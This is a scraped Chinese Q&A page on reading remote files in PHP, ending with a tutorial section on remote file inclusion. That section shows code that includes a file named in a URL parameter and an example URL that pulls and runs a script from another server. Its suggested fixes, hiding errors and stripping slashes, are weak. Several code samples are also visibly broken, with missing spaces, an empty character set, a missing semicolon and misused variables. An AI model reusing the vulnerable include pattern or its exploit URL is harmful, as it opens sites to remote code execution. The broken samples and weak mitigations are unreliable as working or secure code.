導航:首頁 > 編程語言 > php調用遠程文件

php調用遠程文件

發布時間:2022-08-26 13:17:23

php在這個伺服器的PHP文件去執行遠程的PHP

如果你的伺服器在php.ini文件中激活了allow_url_fopen 選項,你可以使用以下的語句:

$page_url="http://www..com/1.php";
$contents = file_get_contents($page_url);

否則,你可以參考下面的例子.
獲取遠程文件的標題
<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
echo "<p>Unable to open remote file.\n";
exit;
}
while (!feof ($file)) {
$line = fgets ($file, 1024);
/* This only works if the title and its tags are on one line */
if (eregi ("<title>(.*)</title>", $line, $out)) {
$title = $out[1];
break;
}
}
fclose($file);
?>

⑵ 用php程序自動讀取遠程文件並更新到本地,每天一次,如何做

windows:
准備:
1.將 php.exe 的路徑加入 windows 的環境變數
2.編寫文件:
D:\fileGeter.php
<?php
$filelist = Array(
"http://**********/a.txt",
"http://**********/b.txt",
);

$saveas="D:\\" ;
$endl = ".txt"

function getfile(){
foreach( $filelist as $k => $file )
file_put_contents( $saveas . $k . $endl , file_get_contents( $file ) ) ;
}
getfile();
?>
3.執行cmd命令
at 11:20 /every:1,2,3,4,5,6,7 "php D:\fileGeter.php"

linux 更方便

直接把此文件包含進 你要寫的程序里就OK了,

fileGeter.php:
<?php
...
...
$saveas = "./";
...
..

?>
index.php:
<?php
require_once("fileGeter.php");
//and so on .....
.....
....
....
?>

⑶ PHP遠程讀取excel文件,怎麼讀取

PHPExcel 通過 PHPExcel_Shared_OLERead 類的 read 方法讀取文件
但 read 方法里使用了 is_readable 函數來確認文件是否存在,而 is_readable 不能作用於 url
所以不可直接遠程讀取
但若繞過 is_readable 函數的話,就是可以的
public function read($sFileName)
{
// Check if file exists and is readable
if(!is_readable($sFileName)) {
throw new Exception("Could not open " . $sFileName . " for reading! File does not exist, or it is not readable.");
}

// Get the file data
$this->data = file_get_contents($sFileName);

⑷ php讀取遠程xml文件簡單方法

<?php
set_time_limit(0);
function_rand(){
$length=26;
$chars="";
$max=strlen($chars)-1;
mt_srand((double)microtime()*1000000);
$string='';
for($i=0;$i<$length;$i++){
$string.=$chars[mt_rand(0,$max)];
}
return$string;
}
$HTTP_SESSION=_rand();
$HTTP_SESSION;
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"http://webservice.webxml.com.cn/WebServices/WeatherWS.asmx/getWeather?&theUserID=&theCityCode=貴港");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;.NETCLR1.1.4322;.NETCLR2.0.50727)");
$res=curl_exec($ch);
curl_close($ch);
//print_r($res);
$xml_array=simplexml_load_string($res);
//www.hi-docs.com/php/simplexml_load_string.html
foreach($xml_arrayas$tq){
echo$tq;
}
?>

⑸ php怎樣遍歷遠程文件夾下的文件

window是用的GB2312的編碼,你的php文件應該用的是UTF-8,所以正如你寫的那樣,先要轉換編碼$dir=iconv("utf-8","gb2312",$dir);
但你別忘了,你用的是UTF-8的編碼,所以你第六行寫錯了,把GB2312轉換為UTF-8搞倒了吧
123456789101112131415<?phpfunction refresh($dir){ $dir=iconv("utf-8","gb2312",$dir); if ($headle=opendir($dir)){ while ($file=readdir($headle)){ $file=iconv("gb2312","utf-8",$file); if ($file!='.' && $file!='..'){ echo "文件".$file."在文件夾".$dir."下<br />"; } } closedir($headle); }}refresh("D:/AppServ/www/test");?>

⑹ 怎麼用php獲取遠程xml到本地

<?php
$xml_string = file_get_contents("php://input");
$xml_string = trim($xml_string);
$xml_object = simplexml_load_string($xml_string);
$xml_arr = get_object_vars($xml_object);
只要別人訪問你這個文件傳遞xml。你就能獲取其中的信息了。

⑺ PHP遠程文件調用問題

用PHP的CURL 函數吧。

⑻ 請問php如何像打開本地文件一樣打開遠程ftp伺服器上的文件

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:[email protected]/somefile.txt", "w");
?>
這樣不就好了,
'r' 只讀方式打開,將文件指針指向文件頭。
'r+' 讀寫方式打開,將文件指針指向文件頭。
'w' 寫入方式打開,將文件指針指向文件頭並將文件大小截為零。如果文件不存在則嘗試創建之。
'w+' 讀寫方式打開,將文件指針指向文件頭並將文件大小截為零。如果文件不存在則嘗試創建之。
'a' 寫入方式打開,將文件指針指向文件末尾。如果文件不存在則嘗試創建之。
'a+' 讀寫方式打開,將文件指針指向文件末尾。如果文件不存在則嘗試創建之。

之後你就可以直接查詢php的手冊 ,,fopen fwrite file_get_content file_put_content 這幾個函數就好了

⑼ PHP 網路開發詳解之遠程文件包含漏洞

以下代碼(Code)實現了根據瀏覽器地址欄參數的文件名稱包含不同文件的功能。
復制代碼
代碼如下:
<?php
$file_name
=
$_GET["filename"];
//獲得當前文件名
include("$file_name
");
//包含文件
//一些其他操作
?>
這時,通過在地址欄上指定不同的文件名就可以實現包含不同文件並執行的功能。例如,通過在瀏覽器上訪問http://localhost/test.php?filename=myinc.php就可以在代碼(Code)中包含並執行myinc.php文件。
由於上面的代碼(Code)沒有進行任何錯誤處理,在瀏覽器上不加參數運行,所以將得到以下運行結果。
Warning:
include(.php)
[function.include]:
failed
to
open
stream:
No
such
file
or
directory
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
Warning:
include()
[function.include]:
Failed
opening
'.php'
for
inclusion
(include_path='.;C:\Program
Files\xampp\php\pear\')
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
訪問者通過讀取這段錯誤信息,可以得知當前的操作是一個文件包含操作。這時,可以在自己的伺服器上放置一個相應的腳本代碼。需要注意的是PHP在獲取遠程文件時獲得的是遠程伺服器的最終輸出結果,而不是文件本身。該腳本代碼位於192.168.0.1伺服器上,文件名為hello.txt,腳本代碼(Code)如下所示。
復制代碼
代碼如下:
<?php
echo
"hello
world!";
?>
這時,通過在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以運行hello.txt中的腳本了。
為了解決這個問題,一種方式是完善代碼的錯誤信息,使訪問者無法知道當前腳本正在包含參數中指定的文件。修改後的代碼(Code)如下所示。
復制代碼
代碼如下:
<?php
$file_name
=
$_GET["filename"];
//獲得當前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("頁面在瀏覽過程中出現錯誤");
}
//一些其他操作
?>
修改後,如果在被包含的文件無法找到時將出現「頁面在瀏覽過程中出現錯誤」的錯誤信息,訪問者將無法獲得當前頁面的具體操作信息。
第二種方式可以更加有效地防止遠程文件包含攻擊。方式是替換地址欄參數中的斜線「/」。這樣,在地址欄參數中輸入遠程文件地址時,代碼將無法正確地獲得參數。修改後的代碼(Code)如下所示。
復制代碼
代碼如下:
<?php
$file_name
=
str_replace('/',
'',
$_GET["filename"]);
//獲得當前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("頁面在瀏覽過程中出現錯誤");
}
//一些其他操作
?>
這樣,在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt
時,實際上PHP代碼(Code)獲得的包含文件名稱是http:192.168.0.1bugstest6_test。頁面將不會包含遠程文件,並顯示相應的錯誤信息。

閱讀全文

與php調用遠程文件相關的資料

熱點內容
app紙有什麼用 瀏覽:219
cuteftp命令 瀏覽:502
最開始的編程語言是什麼 瀏覽:757
at遠程命令 瀏覽:490
雲伺服器哪家好點 瀏覽:211
android系統源碼閱讀 瀏覽:924
dumpjava分析工具 瀏覽:678
怎麼下載cpu源碼 瀏覽:154
代碼加密怎麼取消 瀏覽:888
編譯原理代碼在哪裡運行 瀏覽:584
解密攝影pdf 瀏覽:72
演算法編程中級題目 瀏覽:250
c語言編譯器畢業設計 瀏覽:717
醫保卡申請app哪個好 瀏覽:945
阿里雲伺服器上傳源碼 瀏覽:602
營銷管理科特勒pdf 瀏覽:696
願望清單app哪個好 瀏覽:460
安卓外放聲音怎麼解決 瀏覽:195
脈脈app干什麼用的 瀏覽:360
拽姐是哪個app 瀏覽:862